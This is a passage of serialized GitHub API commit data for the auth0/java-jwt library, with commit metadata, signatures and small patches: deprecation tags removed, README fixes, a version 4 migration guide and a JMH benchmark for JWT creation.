contents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=1433810366a592bf3fd2be48f1cb28ebcf3b42e6patchX  @@ -48,9 +48,7 @@ public static Algorithm RSA256(RSAPublicKey publicKey, RSAPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid RSA256 Algorithm.
      * @throws IllegalArgumentException if the Key Provider is null.
-     * @deprecated use {@link #RSA256(RSAPublicKey, RSAPrivateKey)} or {@link #RSA256(RSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm RSA256(RSAKey key) throws IllegalArgumentException {
         RSAPublicKey publicKey = key instanceof RSAPublicKey ? (RSAPublicKey) key : null;
         RSAPrivateKey privateKey = key instanceof RSAPrivateKey ? (RSAPrivateKey) key : null;
@@ -86,9 +84,7 @@ public static Algorithm RSA384(RSAPublicKey publicKey, RSAPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid RSA384 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #RSA384(RSAPublicKey, RSAPrivateKey)} or {@link #RSA384(RSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm RSA384(RSAKey key) throws IllegalArgumentException {
         RSAPublicKey publicKey = key instanceof RSAPublicKey ? (RSAPublicKey) key : null;
         RSAPrivateKey privateKey = key instanceof RSAPrivateKey ? (RSAPrivateKey) key : null;
@@ -124,9 +120,7 @@ public static Algorithm RSA512(RSAPublicKey publicKey, RSAPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid RSA512 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #RSA512(RSAPublicKey, RSAPrivateKey)} or {@link #RSA512(RSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm RSA512(RSAKey key) throws IllegalArgumentException {
         RSAPublicKey publicKey = key instanceof RSAPublicKey ? (RSAPublicKey) key : null;
         RSAPrivateKey privateKey = key instanceof RSAPrivateKey ? (RSAPrivateKey) key : null;
@@ -253,9 +247,7 @@ public static Algorithm ECDSA256(ECPublicKey publicKey, ECPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid ECDSA256 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #ECDSA256(ECPublicKey, ECPrivateKey)} or {@link #ECDSA256(ECDSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm ECDSA256(ECKey key) throws IllegalArgumentException {
         ECPublicKey publicKey = key instanceof ECPublicKey ? (ECPublicKey) key : null;
         ECPrivateKey privateKey = key instanceof ECPrivateKey ? (ECPrivateKey) key : null;
@@ -291,9 +283,7 @@ public static Algorithm ECDSA384(ECPublicKey publicKey, ECPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid ECDSA384 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #ECDSA384(ECPublicKey, ECPrivateKey)} or {@link #ECDSA384(ECDSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm ECDSA384(ECKey key) throws IllegalArgumentException {
         ECPublicKey publicKey = key instanceof ECPublicKey ? (ECPublicKey) key : null;
         ECPrivateKey privateKey = key instanceof ECPrivateKey ? (ECPrivateKey) key : null;
@@ -329,9 +319,7 @@ public static Algorithm ECDSA512(ECPublicKey publicKey, ECPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid ECDSA512 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #ECDSA512(ECPublicKey, ECPrivateKey)} or {@link #ECDSA512(ECDSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm ECDSA512(ECKey key) throws IllegalArgumentException {
         ECPublicKey publicKey = key instanceof ECPublicKey ? (ECPublicKey) key : null;
         ECPrivateKey privateKey = key instanceof ECPrivateKey ? (ECPrivateKey) key : null;uau(37122ec9c0d8947e81223d82dec0cedf7e4a04a1}(sha(37122ec9c0d8947e81223d82dec0cedf7e4a04a1node_idEC_kwDOAQtL0doAKDM3MTIyZWM5YzBkODk0N2U4MTIyM2Q4MmRlYzBjZWRmN2U0YTA0YTEcommit}(author}(namenoetroemailnoel.trout@avinode.comdate2022-11-25T09:13:37Zu	committer}(j  GitHubj  noreply@github.comj  2022-11-25T09:13:37Zumessage!Merge branch 'master' into mastertree}(j  (ad979255393e5888b50510a403c817f4ea662af3url^https://api.github.com/repos/auth0/java-jwt/git/trees/ad979255393e5888b50510a403c817f4ea662af3uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/37122ec9c0d8947e81223d82dec0cedf7e4a04a1
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjgIdBCRBK7hj4Ov3rIwAA1a8IAI+sz8tjoCPW/ex5Xisq8FWE
Mz6dn0naarnLVH39Gz4j1y/z3L52zgFq4LOPwH2eGWcpVJA0DjKyCiWT4htmdU4i
iinkiDGk4o/sLpdRQas/vyXQAmjh+ETL28oZTsYa/hkxUgB3GNSEyNLcpmxVJI9Y
EBet2J09Zj4/ujXYCVk+FH5BPAfRdR29drrJgyKXyROXzJnEa8uv+OO5dZza4jGD
gC6nl8E729MQAtjtc6W85zsZfPja/cNHiWqDMWUhA0eTJBUo7Zhe8kOCQvZe/J5f
w9XqFnxogtrJnCTe3IP4cnbm9/iyrZ2UQ+SbSu8Ony8EC1wkGYRfBnvws61xYts=
=ztZT
-----END PGP SIGNATURE-----
payloadX  tree ad979255393e5888b50510a403c817f4ea662af3
parent 0b63418b77296c5565b3257470c429811558a5e8
parent 931cd1243c4653744c0f1cc59f182566139cd2c5
author noetro <noel.trout@avinode.com> 1669367617 +0100
committer GitHub <noreply@github.com> 1669367617 +0100

Merge branch 'master' into masteruuj  \https://api.github.com/repos/auth0/java-jwt/commits/37122ec9c0d8947e81223d82dec0cedf7e4a04a1html_urlQhttps://github.com/auth0/java-jwt/commit/37122ec9c0d8947e81223d82dec0cedf7e4a04a1comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/37122ec9c0d8947e81223d82dec0cedf7e4a04a1/commentsj  }(loginnoetroidJOP&j  MDQ6VXNlcjE5Mjg4MTQz
avatar_url4https://avatars.githubusercontent.com/u/19288143?v=4gravatar_idh3j  #https://api.github.com/users/noetroj͇  https://github.com/noetro
followers_url-https://api.github.com/users/noetro/followers
following_url:https://api.github.com/users/noetro/following{/other_user}	gists_url3https://api.github.com/users/noetro/gists{/gist_id}starred_url:https://api.github.com/users/noetro/starred{/owner}{/repo}subscriptions_url1https://api.github.com/users/noetro/subscriptionsorganizations_url(https://api.github.com/users/noetro/orgs	repos_url)https://api.github.com/users/noetro/repos
events_url4https://api.github.com/users/noetro/events{/privacy}received_events_url3https://api.github.com/users/noetro/received_eventstypeUser
site_adminuj  }(j҇  web-flowjԇ  J/j  MDQ6VXNlcjE5ODY0NDQ3jև  4https://avatars.githubusercontent.com/u/19864447?v=4j؇  h3j  %https://api.github.com/users/web-flowj͇  https://github.com/web-flowjۇ  /https://api.github.com/users/web-flow/followersj݇  <https://api.github.com/users/web-flow/following{/other_user}j߇  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(j  (0b63418b77296c5565b3257470c429811558a5e8j  \https://api.github.com/repos/auth0/java-jwt/commits/0b63418b77296c5565b3257470c429811558a5e8j͇  Qhttps://github.com/auth0/java-jwt/commit/0b63418b77296c5565b3257470c429811558a5e8u}(j  (931cd1243c4653744c0f1cc59f182566139cd2c5j  \https://api.github.com/repos/auth0/java-jwt/commits/931cd1243c4653744c0f1cc59f182566139cd2c5j͇  Qhttps://github.com/auth0/java-jwt/commit/931cd1243c4653744c0f1cc59f182566139cd2c5uestats}(totalK	additionsK	deletionsKufiles]}(j  (903e37ba344da330a677b48994fc7b5d06171c7cfilename	README.mdstatusmodifiedj
  Kj  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/37122ec9c0d8947e81223d82dec0cedf7e4a04a1/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/37122ec9c0d8947e81223d82dec0cedf7e4a04a1/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=37122ec9c0d8947e81223d82dec0cedf7e4a04a1patchX  @@ -89,7 +89,7 @@ try {
         // reusable verifier instance
         .build();
         
-    decodedJWT jwt = verifier.verify(token);
+    decodedJWT = verifier.verify(token);
 } catch (JWTVerificationException exception){
     // Invalid signature/claims
 }uau(e9549e5066aad321fa106654b630b2756d3614cd}(sha(e9549e5066aad321fa106654b630b2756d3614cdnode_idEC_kwDOAQtL0doAKGU5NTQ5ZTUwNjZhYWQzMjFmYTEwNjY1NGI2MzBiMjc1NmQzNjE0Y2Qcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-04-21T16:31:47Zu	committer}(j*  GitHubj,  noreply@github.comj.  2022-04-21T16:31:47ZumessageRMerge pull request #576 from auth0/migration-guide

[SDK-3244] Add Migration Guidetree}(j"  (d9e2f55e2ea8ffe384715d12fbb3d5812fd4cc64url^https://api.github.com/repos/auth0/java-jwt/git/trees/d9e2f55e2ea8ffe384715d12fbb3d5812fd4cc64uj:  `https://api.github.com/repos/auth0/java-jwt/git/commits/e9549e5066aad321fa106654b630b2756d3614cd
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiYYbzCRBK7hj4Ov3rIwAAgFMIABZS4EYXlgILq161WkraaOC3
Yqe97gI51fUz54APrTcvMNtIXXo3vSZh7+gIoP2zRmiOztC2EnS0A3vJBabqbNPh
q1MFm2/PUS7mStyoZ6eyawuWX2r8YFsJMyKy1TpkJY994Gz622AU3S8gYlYr8HmQ
yisZFDVC3a7URLlHkHP1mDFL+UM5DEOZyPEl6PgiALEcKY6gT2ItG4zwe5N6fuei
vWF7BcD4V2t2rXBhdCcfXP/joPbP6pC9tszPApwrGEBjmw+rRvgJDPn9mp7OOskv
g8G0nYclJknXwgzvLVgv7mZZSX4AXgbQNg3AScGkbdkwU9B5kvc7efIeHZ26qsQ=
=mveG
-----END PGP SIGNATURE-----
payloadXV  tree d9e2f55e2ea8ffe384715d12fbb3d5812fd4cc64
parent 6c4ea9ed04cfe7a1c178d74dff72949a4e45e628
parent 0d3864da70b1831d4a923450d41cd784ba181c91
author Jim Anderson <jim.anderson@auth0.com> 1650558707 -0500
committer GitHub <noreply@github.com> 1650558707 -0500

Merge pull request #576 from auth0/migration-guide

[SDK-3244] Add Migration Guideuuj:  \https://api.github.com/repos/auth0/java-jwt/commits/e9549e5066aad321fa106654b630b2756d3614cdhtml_urlQhttps://github.com/auth0/java-jwt/commit/e9549e5066aad321fa106654b630b2756d3614cdcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/e9549e5066aad321fa106654b630b2756d3614cd/commentsj(  }(login
jimmyjamesidJ7 j$  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j:  'https://api.github.com/users/jimmyjamesjH  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj0  }(jM  web-flowjO  J/j$  MDQ6VXNlcjE5ODY0NDQ3jQ  4https://avatars.githubusercontent.com/u/19864447?v=4jS  h3j:  %https://api.github.com/users/web-flowjH  https://github.com/web-flowjV  /https://api.github.com/users/web-flow/followersjX  <https://api.github.com/users/web-flow/following{/other_user}jZ  5https://api.github.com/users/web-flow/gists{/gist_id}j\  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j^  3https://api.github.com/users/web-flow/subscriptionsj`  *https://api.github.com/users/web-flow/orgsjb  +https://api.github.com/users/web-flow/reposjd  6https://api.github.com/users/web-flow/events{/privacy}jf  5https://api.github.com/users/web-flow/received_eventsjh  Userjj  uparents](}(j"  (6c4ea9ed04cfe7a1c178d74dff72949a4e45e628j:  \https://api.github.com/repos/auth0/java-jwt/commits/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628jH  Qhttps://github.com/auth0/java-jwt/commit/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628u}(j"  (0d3864da70b1831d4a923450d41cd784ba181c91j:  \https://api.github.com/repos/auth0/java-jwt/commits/0d3864da70b1831d4a923450d41cd784ba181c91jH  Qhttps://github.com/auth0/java-jwt/commit/0d3864da70b1831d4a923450d41cd784ba181c91uestats}(totalKU	additionsKU	deletionsK ufiles]}(j"  (c47b95c2369e9409f4ed353fa9674924c401d923filenameMIGRATION_GUIDE.mdstatusaddedj  KUj  K changesKUblob_urlbhttps://github.com/auth0/java-jwt/blob/e9549e5066aad321fa106654b630b2756d3614cd/MIGRATION_GUIDE.mdraw_urlahttps://github.com/auth0/java-jwt/raw/e9549e5066aad321fa106654b630b2756d3614cd/MIGRATION_GUIDE.mdcontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/MIGRATION_GUIDE.md?ref=e9549e5066aad321fa106654b630b2756d3614cdpatchX7  @@ -0,0 +1,85 @@
+# Migration Guide
+
+## Upgrading from v3.x -> v4.0
+
+The version 4 release contains several improvements:
+
+- Support for `java.time.Instant` when creating or verifying JWTs with Numeric Date claim values.
+- Improvements to JWT claim validation, including support for custom claim validation using Predicates.
+- Improved exception handling when validating JWTs, to better inform of the reason for failed validation.
+- Consistent handling of `null` claim values both when creating and validation JWTs.
+
+This guide captures the changes you should be aware of when planning and upgrading to version 4.
+
+### Compile or runtime breaking changes
+
+**Classes or methods removed:**
+- The `impl` package has been removed as an export in `module-info.java`. This package contains implementation-specific code that may change at any point.
+- Support for the ES256K algorithm has been removed, as it is disabled in Java 15+. The `Algorithm#ECDSA256K(ECDSAKeyProvider keyProvider)` and `Algorithm#ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey)` methods have been removed.
+- `com.auth0.jwt.interfaces.Clock` has been removed. Instead, an implementation of `java.time.Clock` can be passed to the `BaseVerification` for testing purposes.
+- `com.auth0.jwt.impl.NullClaim` has been removed. `Claim#isNull` can be used to determine if a claim's value is `null`.
+- `com.auth0.jwt.impl.PublicClaims` was removed, and replaced by `com.auth0.jwt.RegisteredClaims` and `com.auth0.jwt.HeaderParams`.
+- `com.auth0.jwt.interfaces.Verification#withAnyOfAudience` no longer provides a default implementation.
+
+### Behavioral potentially breaking changes
+
+#### JWT creation
+
+- All date/time claim values are now serialized as **seconds since the epoch**, in both the payload and header. In version 3, date/time claims nested in a list or map, as well as any header parameters with date/time values, were serialized as milliseconds since the epoch. 
+- When creating a JWT, passing `null` as the value no longer removes the claim if it was previously added to the builder. It now adds the claim with a `null` value.
+
+#### JWT validation
+
+- In version 3, specifying multiple claim expectations for the same claim name would override any previous expectations for that claim. In version 4, all expectations for that claim will be validated.
+- In version 3, passing `null` for the value of a claim expectation would remove that expectation from the validation. In version 4, passing `null` does not remove that expectation, but instead validates that the claim has the literal value `null`.
+- When validating a JWT, if an expected claim is present in the JWT but contains a value different from the one expected, an `IncorrectClaimException` (subclass of `InvalidClaimException`) will now be thrown instead of an `InvalidClaimException`.
+- When validating a JWT, if an expected claim is not present in the JWT, an `MissingClaimException` (subclass of `InvalidClaimException`) will now be thrown instead of an `InvalidClaimException`.
+- `withClaimPresence(String claimName)` now validates that the claim is present in the JWT, and a claim with a `null` value is considered present. Previously, a claim with a value of `null` would be considered as missing and fail the validation.
+- When validating a date/time claim value, the validation no longer checks for strict equality of the claim's value and the provided `Date` (or `Instant`). Instead, the expected `Date` or `Instant` will be compared to the claim's value only considering seconds (because JWT date/time claims are represented as seconds since the epoch).
+
+#### Claim changes
+
+- `com.auth0.jwt.interfaces.Claim#isNull()` now returns true only if the claim is present and its value is `null`. Previously, it returned true if the claim was present and its value was `null`, or if the claim was not present in the JWT. To check if the claim is present or not in the JWT, use `isMissing()`.
+
+### New classes or methods
+
+#### `IncorrectClaimException` added
+
+This class extends `InvalidClaimException` and represents that when validating a JWT, an expected claim exists in the JWT but does not match the expected value.
+
+#### `MissingClaimException` added
+
+This class extends `InvalidClaimException` and represents that when validating a JWT, an expected claim is missing from the JWT.
+
+#### `HeaderParams` added
+
+This class contains constants representing common header parameter names.
+
+#### `RegisteredClaims` added
+
+This class contains constants representing the registered claim names.
+
+#### `JWTCreator` new methods
+
+- `JWTCreator.Builder#withExpiresAt(Instant expiresAt)` - adds the `exp` claim to the JWT from a `java.time.Instant`.
+- `JWTCreator.Builder#withNotBefore(Instant notBefore)` - adds the `nbf` claim to the JWT from a `java.time.Instant`.
+- `JWTCreator.Builder#withIssuedAt(Instant issuedAt)` - adds the `iat` claim to the JWT from a `java.time.Instant`.
+- `JWTCreator.Builder#withClaim(String claimName, Instant value)` - adds a claim to the JWT from a `java.time.Instant`.
+- `JWTCreator.Builder#withNullClaim(String claimName)` - adds a claim to the JWT with the literal value `null`.
+
+#### `DecodedJWT` new methods
+
+- `Instant getExpiresAtAsInstant()` - Returns a JWT's `exp` claim as a `java.time.Instant`.
+- `Instant getNotBeforeAsInstant()` - Returns a JWT's `nbf` claim as a `java.time.Instant`.
+- `Instant getIssuedAtAsInstant()` - Returns a JWT's `iat` claim as a `java.time.Instant`.
+
+#### `Claim` new methods
+
+- `Instant asInstant()` - Gets a claim as a `java.time.Instant`.
+- `boolean isMissing()` - Returns whether the claim is present or not.
+
+#### `Verification` new methods
+
+- `Verification withClaim(String name, Instant value)` - Adds an expectation that a claim with the provided name has a value equal to the provided `java.time.Instant`.
+- `Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate)` - Allows for a claim to be validated with the supplied predicate. 
+- `Verification withNullClaim(String name)` - Adds an expectation that a claim with the provided name has a value equal to the literal `null`.uau(c957691d33fa99619ecc1a81e39d3b5093ed81ff}(sha(c957691d33fa99619ecc1a81e39d3b5093ed81ffnode_idEC_kwDOAQtL0doAKGM5NTc2OTFkMzNmYTk5NjE5ZWNjMWE4MWUzOWQzYjUwOTNlZDgxZmYcommit}(author}(name	Adam Grayemailadam@adamgray.usdate2023-08-15T19:19:33Zu	committer}(j  	Adam Grayj  adam@adamgray.usj  2023-08-15T19:19:33Zumessage+Create basic JMH benchmark for JWT creationtree}(j  (11e5fad28272ba15468e742c6fe66b485b446e5durl^https://api.github.com/repos/auth0/java-jwt/git/trees/11e5fad28272ba15468e742c6fe66b485b446e5duj  `https://api.github.com/repos/auth0/java-jwt/git/commits/c957691d33fa99619ecc1a81e39d3b5093ed81ff
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/c957691d33fa99619ecc1a81e39d3b5093ed81ffhtml_urlQhttps://github.com/auth0/java-jwt/commit/c957691d33fa99619ecc1a81e39d3b5093ed81ffcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/c957691d33fa99619ecc1a81e39d3b5093ed81ff/commentsj  }(login	adam-grayidJj  U_kgDOBYUP_A
avatar_url4https://avatars.githubusercontent.com/u/92606460?v=4gravatar_idh3j  &https://api.github.com/users/adam-grayj  https://github.com/adam-gray
followers_url0https://api.github.com/users/adam-gray/followers
following_url=https://api.github.com/users/adam-gray/following{/other_user}	gists_url6https://api.github.com/users/adam-gray/gists{/gist_id}starred_url=https://api.github.com/users/adam-gray/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/adam-gray/subscriptionsorganizations_url+https://api.github.com/users/adam-gray/orgs	repos_url,https://api.github.com/users/adam-gray/repos
events_url7https://api.github.com/users/adam-gray/events{/privacy}received_events_url6https://api.github.com/users/adam-gray/received_eventstypeUser
site_adminuj  }(jƈ  	adam-grayjȈ  Jj  U_kgDOBYUP_Ajʈ  4https://avatars.githubusercontent.com/u/92606460?v=4j̈  h3j  &https://api.github.com/users/adam-grayj  https://github.com/adam-grayjψ  0https://api.github.com/users/adam-gray/followersjш  =https://api.github.com/users/adam-gray/following{/other_user}jӈ  6https://api.github.com/users/adam-gray/gists{/gist_id}jՈ  =https://api.github.com/users/adam-gray/starred{/owner}{/repo}j׈  4https://api.github.com/users/adam-gray/subscriptionsjو  +https://api.github.com/users/adam-gray/orgsjۈ  ,https://api.github.com/users/adam-gray/reposj݈  7https://api.github.com/users/adam-gray/events{/privacy}j߈  6https://api.github.com/users/adam-gray/received_eventsj  Userj  uparents]}(j  (994ed6531a971b81c6318136252ebc0a28fb99fej  \https://api.github.com/repos/auth0/java-jwt/commits/994ed6531a971b81c6318136252ebc0a28fb99fej  Qhttps://github.com/auth0/java-jwt/commit/994ed6531a971b81c6318136252ebc0a28fb99feuastats}(totalK	additionsK	deletionsK ufiles]}(j  (91d6a91a583b02852b358afd65cfb58c70963f74filename7lib/src/jmh/java/com/auth0/jwt/JWTCreatorBenchmark.javastatusaddedj  Kj  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/c957691d33fa99619ecc1a81e39d3b5093ed81ff/lib%2Fsrc%2Fjmh%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorBenchmark.javaraw_urlhttps://github.com/auth0/java-jwt/raw/c957691d33fa99619ecc1a81e39d3b5093ed81ff/lib%2Fsrc%2Fjmh%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorBenchmark.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fjmh%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorBenchmark.java?ref=c957691d33fa99619ecc1a81e39d3b5093ed81ffpatchX	  @@ -0,0 +1,22 @@
+package com.auth0.jwt;
+
+
+import com.auth0.jwt.algorithms.Algorithm;
+import org.openjdk.jmh.annotations.Benchmark;
+import org.openjdk.jmh.annotations.BenchmarkMode;
+import org.openjdk.jmh.annotations.Mode;
+import org.openjdk.jmh.infra.Blackhole;
+
+public class JWTCreatorBenchmark {
+
+    private static final String claimsJson = "{\"stringClaim\": \"someClaim\", \"intClaim\": 1, \"nestedClaim\": { \"listClaim\": [ \"1\", \"2\" ]}}";
+    private static final String secret = "secret";
+
+    @Benchmark
+    @BenchmarkMode(Mode.Throughput)
+    public void throughputCreateTime(Blackhole blackhole) {
+        blackhole.consume(JWTCreator.init()
+                .withHeader(claimsJson)
+                .sign(Algorithm.HMAC256(secret)));
+    }
+}uau     (4c2533dbd0bc1aa714ac7d0e291652cdaecdd265}(sha(4c2533dbd0bc1aa714ac7d0e291652cdaecdd265node_idEC_kwDOAQtL0doAKDRjMjUzM2RiZDBiYzFhYTcxNGFjN2QwZTI5MTY1MmNkYWVjZGQyNjUcommit}(author}(nameNikolay Edigaryevemailedigaryev@gmail.comdate2022-10-25T02:08:09Zu	committer}(j  GitHubj  noreply@github.comj  2022-10-25T02:08:09ZumessageoRemove emoji to fix the broken documentation link (#632)

Co-authored-by: Jim Anderson <jim.anderson@auth0.com>tree}(j  (7973aba4be59b842f4fe6444f1e2152baa8d023curl^https://api.github.com/repos/auth0/java-jwt/git/trees/7973aba4be59b842f4fe6444f1e2152baa8d023cuj*  `https://api.github.com/repos/auth0/java-jwt/git/commits/4c2533dbd0bc1aa714ac7d0e291652cdaecdd265
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjV0UJCRBK7hj4Ov3rIwAA63MIAFppsiiVfV9BXw0fq5H9YmFc
St3Q12jbcE1MW+IIH4CFS0jD3vWf8DLz5DBXIfYOaq0WdP9h3YhEsXnS5Yq7aIce
17ArL9H3R+qssB/dJgWkT3/JAt452AeN7weOsxeieLvIWltUldbDnBDL/LQieyWy
pz2HU+yMo8BMGlx4GavRoG9oeEm82+rfHPhy1vC3WLSa6J1ccW5npOisXKFUVxiL
3WWJ7rZ0MGeLzqpzhoQf5dHBnoCSiY/9x1p+wwqtnBupkbKmPQ+VFQJXlbjLVm5O
3SeVQqoRmO1OWz4P8DvCydexpNWr1Aloq18cqvfLYgk9Bj7UhnS+roRNvUfQy6k=
=vtdt
-----END PGP SIGNATURE-----
payloadXE  tree 7973aba4be59b842f4fe6444f1e2152baa8d023c
parent 3cff66f1a23b51ab85ae4d7c5c1837b90677c75e
author Nikolay Edigaryev <edigaryev@gmail.com> 1666663689 +0400
committer GitHub <noreply@github.com> 1666663689 -0500

Remove emoji to fix the broken documentation link (#632)

Co-authored-by: Jim Anderson <jim.anderson@auth0.com>uuj*  \https://api.github.com/repos/auth0/java-jwt/commits/4c2533dbd0bc1aa714ac7d0e291652cdaecdd265html_urlQhttps://github.com/auth0/java-jwt/commit/4c2533dbd0bc1aa714ac7d0e291652cdaecdd265comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/4c2533dbd0bc1aa714ac7d0e291652cdaecdd265/commentsj  }(login	edigaryevidJN j  MDQ6VXNlcjg1NzA5
avatar_url1https://avatars.githubusercontent.com/u/85709?v=4gravatar_idh3j*  &https://api.github.com/users/edigaryevj8  https://github.com/edigaryev
followers_url0https://api.github.com/users/edigaryev/followers
following_url=https://api.github.com/users/edigaryev/following{/other_user}	gists_url6https://api.github.com/users/edigaryev/gists{/gist_id}starred_url=https://api.github.com/users/edigaryev/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/edigaryev/subscriptionsorganizations_url+https://api.github.com/users/edigaryev/orgs	repos_url,https://api.github.com/users/edigaryev/repos
events_url7https://api.github.com/users/edigaryev/events{/privacy}received_events_url6https://api.github.com/users/edigaryev/received_eventstypeUser
site_adminuj   }(j=  web-flowj?  J/j  MDQ6VXNlcjE5ODY0NDQ3jA  4https://avatars.githubusercontent.com/u/19864447?v=4jC  h3j*  %https://api.github.com/users/web-flowj8  https://github.com/web-flowjF  /https://api.github.com/users/web-flow/followersjH  <https://api.github.com/users/web-flow/following{/other_user}jJ  5https://api.github.com/users/web-flow/gists{/gist_id}jL  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jN  3https://api.github.com/users/web-flow/subscriptionsjP  *https://api.github.com/users/web-flow/orgsjR  +https://api.github.com/users/web-flow/reposjT  6https://api.github.com/users/web-flow/events{/privacy}jV  5https://api.github.com/users/web-flow/received_eventsjX  UserjZ  uparents]}(j  (3cff66f1a23b51ab85ae4d7c5c1837b90677c75ej*  \https://api.github.com/repos/auth0/java-jwt/commits/3cff66f1a23b51ab85ae4d7c5c1837b90677c75ej8  Qhttps://github.com/auth0/java-jwt/commit/3cff66f1a23b51ab85ae4d7c5c1837b90677c75euastats}(totalK	additionsK	deletionsKufiles]}(j  (f96e806f7ce6a4dd3c4e654b9e222c5ef069c873filename	README.mdstatusmodifiedjt  Kju  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/4c2533dbd0bc1aa714ac7d0e291652cdaecdd265/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/4c2533dbd0bc1aa714ac7d0e291652cdaecdd265/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=4c2533dbd0bc1aa714ac7d0e291652cdaecdd265patchXe  @@ -187,7 +187,7 @@ Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
 
 > Note: How you obtain or read keys is not in the scope of this library. For an example of how you might implement this, see [this gist](https://gist.github.com/lbalmaceda/9a0c7890c2965826c04119dcfb1a5469).
 
-##### :key: HMAC Key Length and Security
+##### HMAC Key Length and Security
 
 When using a Hash-based Message Authentication Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recommendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
 uau(5c94325d6ca48532e1e13193e85a0eaec71c1ed6}(sha(5c94325d6ca48532e1e13193e85a0eaec71c1ed6node_idEC_kwDOAQtL0doAKDVjOTQzMjVkNmNhNDg1MzJlMWUxMzE5M2U4NWEwZWFlYzcxYzFlZDYcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-03-04T16:22:47Zu	committer}(j  GitHubj  noreply@github.comj  2022-03-04T16:22:47Zumessage[SDK-3150] Serialize dates in collections as seconds since epoch (#534)

* [SDK-3150] Serialize dates in collections as seconds since epoch

* cleanup tests

* Update javadocstree}(j  (08b0b7be1f3ab822f2373ba6684063896fdefaa7url^https://api.github.com/repos/auth0/java-jwt/git/trees/08b0b7be1f3ab822f2373ba6684063896fdefaa7uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/5c94325d6ca48532e1e13193e85a0eaec71c1ed6
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiIjzXCRBK7hj4Ov3rIwAARUsIAFUkGszaFhjQhG/+e1HE+AXT
PszS6wasL0ZJsE4d0ErcfhCnkiWPexg0YCbdaROZbHVOk/tTtkFpGK/taWLWKt0G
taXQ+eiZFcTpyvQOpPqbybe8eledySDejOVkjrctMhrFYMT/H9FBrBLPcOLODQYg
